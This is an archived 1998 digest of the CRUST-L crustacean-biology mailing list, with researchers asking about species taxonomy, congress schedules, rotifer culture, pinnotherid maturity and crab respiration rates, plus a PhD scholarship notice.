X-mailer: Pegasus Mail for Win32 (v2.52) Dear colleagues, Does anyone know whether the cumacean Pseudocuma gilsoni Bacescu, 1950 is still a valid species? The species is included in Jones' Synopsis of the British Fauna, but he suggests that it may be a neotenous form of the male of P. longicornis. We found several individuals conforming with the description from the stomachs of sole Solea solea collected from sandy beaches in Belgium. Any references reporting about this species would be very welcome. Thanks in advance and very best wishes, Jan Jan Mees Marine Biology Section Zoology Institute, University Gent Ledeganckstraat 35 B-9000 Gent, BELGIUM tel: int-32-(0)9-2645230 fax: int-32-(0)9-2645344 email: Jan.Mees@rug.ac.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 4 Jun 1998 09:06:34 -0400 (EDT) Subject: CRUST-L: German Scholarship Please respond to Gerhard Scholtz, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Priority: 3 (Normal) To: From: ""Gerhard Scholtz"" Subject: Scholarship Dear all, for those of you who speak German or are willing to learn it very quickly we offer a PhD scholarship (for 2+1 years) (now comes the switch to German) im Rahmen des Graduiertenkollegs ""Evolutive Transformationen und Faunenschnitte"". Thema unseres Projektes: Phylogenetische Systematik und Radiation der Brachyura unter besonderer Beruecksichtigung des Faunenschnitts der K/T Grenze. Betreuer: G. Scholtz, S. Richter, I. Hinz-Schallreuter Die anderen Projekte reichen von der Mineralogie bis zur Saeugetierevolution. If you are interested please contact me as soon as possible (deadline for applications 19 June 1998) Viele Gruesse, kind regards Gerhard Scholtz Prof. Dr. Gerhard Scholtz Humboldt-Universitaet zu Berlin Institut fuer Biologie/Vergleichende Zoologie Philippstr. 13 10115 Berlin Germany Tel.: ++49(0)30 2093-6005 Fax: ++49(0)30 2093-6882 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #148 ***************************** >From owner-crust-l Fri Jun 12 11:40:59 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id LAA17176 for crust-l-digest-outgoing; Fri, 12 Jun 1998 11:40:07 -0400 Date: Fri, 12 Jun 1998 11:40:07 -0400 Message-Id: <199806121540.LAA17176@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #149 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 23 crust-l-digest Friday, 12 June 1998 Volume 01 : Number 149 [none] CRUST-L: Tanaid workers CRUST-L: Acartia tumida [none] CRUST-L: Corrected ICC-4 addresses CRUST-L: new contact #s for Niel Bruce [none] CRUST-L: test, ignore, delete CRUST-L: stain CRUST-L: Land crabs in Seychelles CRUST-L: shrimp farm question CRUST-L: ICC 4 clarification CRUST-L: Rotifer Cultures CRUST-L: Pinnotheridae Re: CRUST-L: Rotifer Cultures CRUST-L: Panulirus spp respiration rates CRUST-L: Respiration rates??? CRUST-L: Pinnotheridae CRUST-L: Exotic crayfish removal ---------------------------------------------------------------------- From: owner-crust-l Date: Thu, 4 Jun 1998 11:50:37 -0400 Subject: [none] - ---------- Forwarded message ---------- Date: Thu, 4 Jun 1998 10:29:28 -0400 From: owner-crust-l@back.vims.edu To: owner-crust-l@back.vims.edu Subject: CRUST-L: BOUNCE crust-l@back.vims.edu: Non-member submission from [schram@bio.uva.nl (Frederick Schram)] Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: owner-crust-l@back.vims.edu >From jeff Thu Jun 4 10:29:16 1998 Received: from mail.bio.uva.nl (mail.bio.uva.nl [145.18.167.18]) by back.vims.edu (8.6.12/) with ESMTP id KAA01334 for ; Thu, 4 Jun 1998 10:29:14 -0400 Received: from [145.18.172.35] (pl-biomac34.bio.uva.nl [145.18.172.34]) by mail.bio.uva.nl (8.8.8/8.8.8) with SMTP id QAA18598 for ; Thu, 4 Jun 1998 16:31:24 +0200 (MET DST) X-Authentication-Warning: mail.bio.uva.nl: Host pl-biomac34.bio.uva.nl [145.18.172.34] claimed to be [145.18.172.35] X-Sender: schram@mail.bio.uva.nl Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 4 Jun 1998 16:24:35 +0100 To: CRUST-L@VIMS.EDU From: schram@bio.uva.nl (Frederick Schram) Subject: ICC-4 announcement The ICC-4 web site now has a draft schedule of the oral and poster sessions of the crustacean congress. Although there will undoubtedly be some changes from this before July arrives, you can check out the site and get an idea of some of what will be happening. www.uva.nl/uva/aktueel/congres/crustaceanhtml ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: buzw@amsg.austmus.gov.au (BuzW) Date: Fri, 5 Jun 1998 15:07:53 +1100 Subject: CRUST-L: Tanaid workers Could the CrustLers who are actively working on or have an interest in the systematics of Tanaids please contact me directly - off list please. I need your assistance with a matter of mutual interest. Please send your messages directly to me at buzw@amsg.austmus.gov.au Thanks much, Buz Wilson Australian Museum Centre for Evolutionary Research & Div. Invertebrate Zoology (Crustacea) 6 College Street, Sydney South, N.S.W. 2000 AUSTRALIA World Wide Web site: http://www-personal.usyd.edu.au/~buz/home.html EMAIL: buzw@amsg.austmus.gov.au OR buz@mail.usyd.edu.au tel: 02-9320-6287, fax: 02-9320-6042 (international: 61-2 replaces 02) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andrew Hirst Date: Fri, 05 Jun 1998 10:58:14 +0100 Subject: CRUST-L: Acartia tumida Dear crusters A rather obscure question I'm afraid but thought someone out their might have an answer. I'm intersted in trying to get any references (except the one given below*) on the egg and adult female weights of the Arctic species Acartia tumida. Alternatively does anyone have experience with this species or access to adult and egg carbon weights (or length weight relationships for the adult/copepodites) of their own? *Hassett,R.P., Duggins,D.O. and Simenstad,C.A. (1993) Egg production rates of the neritic marine copepod Acartia tumida Willey in the Aleutian Archipelago. Polar Biol., 13, 515-523. Thanks in advance. Andrew Hirst - --------------------------------------------------- Andrew Hirst George Deacon Division for Ocean Processes Southampton Oceanography Centre Empress Dock Southampton United Kingdom SO14 3ZH Tel: +44 (0)1703 596335 Fax: +44 (0)1703 596247 - --------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Fri, 5 Jun 1998 09:10:54 -0400 Subject: [none] - ---------- Forwarded message ---------- X-Sender: schram@mail.bio.uva.nl Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 5 Jun 1998 08:40:54 +0100 To: CRUST-L@VIMS.EDU From: schram@bio.uva.nl (Frederick Schram) Subject: CRUST-L: ICC-4 Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: schram@bio.uva.nl (Frederick Schram) For those of you who have questions about the ICC-4 program, for quickest and most efficient enquiries on these matters, contact directly Charles Fransen at the National Natural History Museum in Leiden fransen@nnm.nl ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 5 Jun 1998 09:08:42 -0400 (EDT) Subject: CRUST-L: Corrected ICC-4 addresses - ---------- Forwarded message ---------- X-Sender: schram@mail.bio.uva.nl Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 5 Jun 1998 08:15:11 +0100 To: CRUST-L@VIMS.EDU From: schram@bio.uva.nl (Frederick Schram) Subject: corrected web addresses Sorry about the ICC-4 web site address. A dot got left out. These (along with http:) should get you right to the appropriate schedules. www.uva.nl/uva/aktueel/congres/crustacean.oral.html www.uva.nl/uva/aktueel/congres/crustacean.poster.html ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Niel Bruce Date: Sun, 07 Jun 1998 11:35:50 +1000 Subject: CRUST-L: new contact #s for Niel Bruce To all of my correspondents, here is an update my contact addresses. My preference is that all e-mails continue to my home address. Manuscripts, bulky items etc and daytime telephone messages can go to my work address as can faxes. My ""day job"" address is: Niel L. Bruce - Editor Publishing Services Department of Primary Industries 80 Ann Street, Brisbane, Qld 4001. Postal: GPO Box: 46, Brisbane, Qld 4001. Ph: (07) 3239 3779: Fax: (07) 3239 0860: E-mail: brucen@dpi.qld.gov.au Niel L. Bruce, 138 Carmody Road, St Lucia Qld 4067, Australia Tlf: Home - (07) 3217 8054; International +61 7 3217 8054 Work - (07) 3239 3779; International +61 7 3239 3779 e-mail: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Mon, 8 Jun 1998 14:56:56 -0400 Subject: [none] Crustlers, The CRUST-L was down for a short period today due to a small error. I inadvertently deleted one new message during that time. Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: Jeffrey Shields Here's the other message. Please respond to Marco Vannini and not to me. Thanks, and sorry for the inconvenience. CHeers, Jeff - ----------------------------Forwarded message------------------------ Dear crabbologists, I have a little puzzle for you. I am studying the crab remainings within the stomach of some Scylla serrata from Mozambique. The Scylla have been fished in a mangroves but where they have been actually feeding and how far from the mangroves, it is unknown. We can usually identify all decapod remainings to the species or genus level but now, in fron of me, I have a little puzzle. A small crab has been fully chewed, of which I only can get entire leg dactyluses. In the (horrible) attached image I am sending you, you will ses how a dactylus looks like. The dactylus is quite thin giving the idea of a good swimmer instead of a good runner or digger (i.e. it is not an ocypodid for sure !). It is not wide or hairy enough to be a Varuna. I can easily manage without identifying my specimen, the Big Science will not suffer and my work on Scylla feeding preference will go ahead safely. I am simply curious ... does anybody have an idea bout it ? Marco Vannini [Part 2.2, Image/TIFF 16KB] [Unable to print this part] [ Part 2.3: ""Attached Text"" ] ******************************************* Prof. Marco Vannini Director of the Zoological Museum of the University of Florence, ""La Specola"" via Romana 17, 50125 Firenze Italy tel +39-55-2288259 fax +39-55-225325 e-mail: vannini_m@dbag.unifi.it ******************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 8 Jun 1998 14:49:42 -0400 (EDT) Subject: CRUST-L: test, ignore, delete Testing a forwarding option under digest mode. Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Malgorzata Klimowicz"" Date: Tue, 9 Jun 1998 12:52:30 +0000 Subject: CRUST-L: stain Dear Crusters, Does anyone know a dye which have no own fluorescence or can be risen by PBS. I would like to use it before staining with DAPI. Because my material is very small and became completely invisible after embedding in histocryl. It is very difficult to find it. Malgorzata Klimowicz lake@biol.uni.wroc.pl Department of General Zoology Wroclaw University, Zoological Institute 21 Sienkiewicza, 50-335 Wroclaw Poland tel/fax ++48 71 222817 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric De Muylder Date: Tue, 09 Jun 1998 16:02:44 +0200 Subject: CRUST-L: Land crabs in Seychelles Dear All, For all those interesed in land crabs. I have produced a web site about land crabs on the islands of Seychelles. This site contains lots of pictures, description of the different crabs and their habitats. The site is not finished however, and I would wellcome any help, remarks, additional pictures, references on literature etc. Please take a look and let me know what you think. Best regards, Eric De Muylder ericdemuylder@yahoo.com http://www.geocities.com/RainForest/Canopy/5280/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 9 Jun 1998 17:25:41 -0400 (EDT) Subject: CRUST-L: shrimp farm question Please respond to Gustavo Felipe Gomez and not to me. Thanks, Jeff - ---------- Forwarded message ---------- >Date: Tue, 09 Jun 1998 15:03:53 -0500 >From: GUSTAVO FELIPE GOMEZ >X-Mailer: Mozilla 4.03 [es] (Win95; I) >To: aecos@pixi.com >Subject: shrimp farm Dear sirs: We grow shrimp in Colombia and are in need of some help on your behalf. Can you help us in obtaining the number of kg of oxygen used by a unit of biomass in a unit of time? If you don't know the answer can you direct me t someone who can help. Your help will be very valuable. Best regards, Gustavo Felipe Gomez =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 9 Jun 1998 19:27:51 -0400 (EDT) Subject: CRUST-L: ICC 4 clarification Crustlers, For those going to the International Crustacean Congress, check out: http://www.uva.nl/uva/aktueel/congres/english.crustacean.html > will in fact get one into the web site. One can then click on oral talks > or poster exhibits and get the draft programs. > > Then please put a clarification message on to the net so that everyone > who needs to can in fact check to program. Questions about same, or > problems arising therefrom should be addressed to Charles Fransen, head > of the congress program committee, at the Leiden Museum > > fransen@nnm.nl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Wed, 10 Jun 1998 08:06:54 +0000 (SAST) Subject: CRUST-L: Rotifer Cultures Fellow members Could anyone direct me to a good reference for the culture of rotifers in the laboratory. I am looking at a system that would be fairly small, not on a large scale. The rotifers will be used as a food source for the culture of decapod larvae. I do not have a large amount of space available and so would need a fairly small system. If anyone has personal suggestions that have worked for them (eg designs etc) I would really appreciate this input. Best regards Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: JOSE LUIS PALAZON F Date: Wed, 10 Jun 1998 18:09:38 -0400 Subject: CRUST-L: Pinnotheridae Hi Dear Colleagues I have a student working on the reproductive biology of Tumidotheres maculatus, and as part of the study she most determine the size at maturity. the problem is that we dont know how to establish if a male individual or a non-ovigerous female is adult or juvenile. Do you know if there is a way of doing that? thanks in advance Jos=E9 Luis JOSE LUIS PALAZON FERNANDEZ UNIVERSIDAD DE ORIENTE NUCLEO DE NUEVA ESPARTA APDO. 147, PORLAMAR ISLA MARGARITA - VENEZUELA TEL: 48-9954870 FAX: 48-095-656545 EMAIL: jpalazon@enlared.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Shane Ahyong Date: Thu, 11 Jun 1998 10:25:16 +1000 (EST) Subject: Re: CRUST-L: Rotifer Cultures A recent book by Martin Moe, 'Breeding the Orchid Dottyback' (or something like that) has some good tips on small scale rotifer culture. Cheers, Shane Ahyong Dept of Marine Invertebrates Australian Museum 6 College St Sydney NSW 2000 AUSTRALIA s.ahyong@unsw.edu.au On Wed, 10 Jun 1998, Brent Newman zool wrote: > Fellow members > Could anyone direct me to a good reference for the culture of rotifers in > the laboratory. I am looking at a system that would be fairly small, not > on a large scale. The rotifers will be used as a food source for the > culture of decapod larvae. I do not have a large amount of space > available and so would need a fairly small system. > If anyone has personal suggestions that have worked for them (eg designs > etc) I would really appreciate this input. > Best regards > Brent > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: musgrove.richard@WPO.PI.SA.GOV.AU Date: Fri, 12 Jun 1998 09:32:30 +0930 Subject: CRUST-L: Panulirus spp respiration rates Hi All, I'm looking for some data on respiration rates for P. cygnus and P marginatus (including Q10's). Does anybody have any relevant refs on hand? Thanks in advance, Cheers, Richard Musgrove Research Scientist SARDI Aquatic Sciences, P.O. Box 120, Henley Beach, SA 5022 AUSTRALIA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Volker Koch"" Date: 12 Jun 1998 09:23:08 +0200 Subject: CRUST-L: Respiration rates??? Dear crustlers! I=B4m currently working on the oxygen consumption of seven crab species = from northern Brazil: =04Ocypodidae Uca cumulanta Uca maracoani Uca rapax Uca vocator Ucides cordatus Grapsidae Pachygrapsus gracilis Xanthidae Eurytium limosum I=B4m still looking for published values on respiration rates to compare = with my data. I would greatly appreciate literature citations or = unpublished values for these species. Until now I could get only some = data on U. rapax, U. cordatus and E. limosum. Still looking for more... Thank=B4s a lot Volker =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 12 Jun 1998 09:15:02 -0400 (EDT) Subject: CRUST-L: Pinnotheridae Please respond to the list or Ernesto CAMPOS , and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: NETO CAMPOS To: ""'JOSE LUIS PALAZON F'"" Cc: ""'Crustacean List'"" Subject: RE: CRUST-L: Pinnotheridae Estimado Jose Luis Durante los meses pasados tuve la oportunidad de examinar los penes de = juveniles y adultos de Tumidotheres maculatus de Argentina y la = transformacion en esta especie es semejante a la que anote en el = articulo donde el genero Tumidotheres es nombrado (Campos, E. 1989. = Journal of Crustacean Biology 9(4): 672-679). El canal espermatico y la = ""lengueta"" terminal es solo evidente en especimenes adultos. Nota que la = presencia de setas natatorias en los pereiopodos 2 y 3 tambien pueden = ayudar, sin embargo el gonopodo es mejor. Respecto a las hembras una = idea que se me ocurre es que compares la setacion de los pleopodos de = una hembra gravida con la que no esta gravida. Las setas donde se = cementan los huevecillos pueden ser un indicador de proximidad a la fase = de gravides. Es importante recordar que aparentemente el sistema = reproductor primario de la hembra madura por etapas. El gonoporo, = gonoducto y el receptaculo seminal reciben el pene y los = espermatozoides cuando la hemba esta en fase dura (morfologicamente = semejante al macho). En fase duran los ovarios no son maduros aun, estos = maduran despues de varias mudas cuando el abdomen ya ha ensanchado y los = pleopodos se han alargado. Por tal motivo seria prudente que definieras = a que se van a referir con madurez. Capacidad de copular o capacidad de = ser gravida. Espero que mis comentarios les ayuden. Si no tienes el articulo que anote arriba dimelo y te mando una copia. = Una abrazo. Ernesto. ***************************************** Ernesto Campos Professor of Zoology Profesor de Zoologia Facultad de Ciencias Universidad Autonoma de Baja California Apartado Postal 2300, Ensenada, Baja California 22800 Mexico U.S. ADDRESS 4492 CAMINO DE LA PLAZA (STE.ESE. 1108) SAN YSIDRO, CALIFORNIA 92173-3097 U.S.A. ***************************************** - -----Original Message----- From: JOSE LUIS PALAZON F [SMTP:jpalazon@cantv.net] Sent: Wednesday, June 10, 1998 3:10 PM To: CRUST-L@vims.edu Subject: CRUST-L: Pinnotheridae Hi Dear Colleagues I have a student working on the reproductive biology of Tumidotheres maculatus, and as part of the study she most determine the size at maturity. the problem is that we dont know how to establish if a male individual or a non-ovigerous female is adult or juvenile. Do you know = if there is a way of doing that? thanks in advance Jos=E9 Luis JOSE LUIS PALAZON FERNANDEZ UNIVERSIDAD DE ORIENTE NUCLEO DE NUEVA ESPARTA APDO. 147, PORLAMAR ISLA MARGARITA - VENEZUELA TEL: 48-9954870 FAX: 48-095-656545 EMAIL: jpalazon@enlared.net =FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm 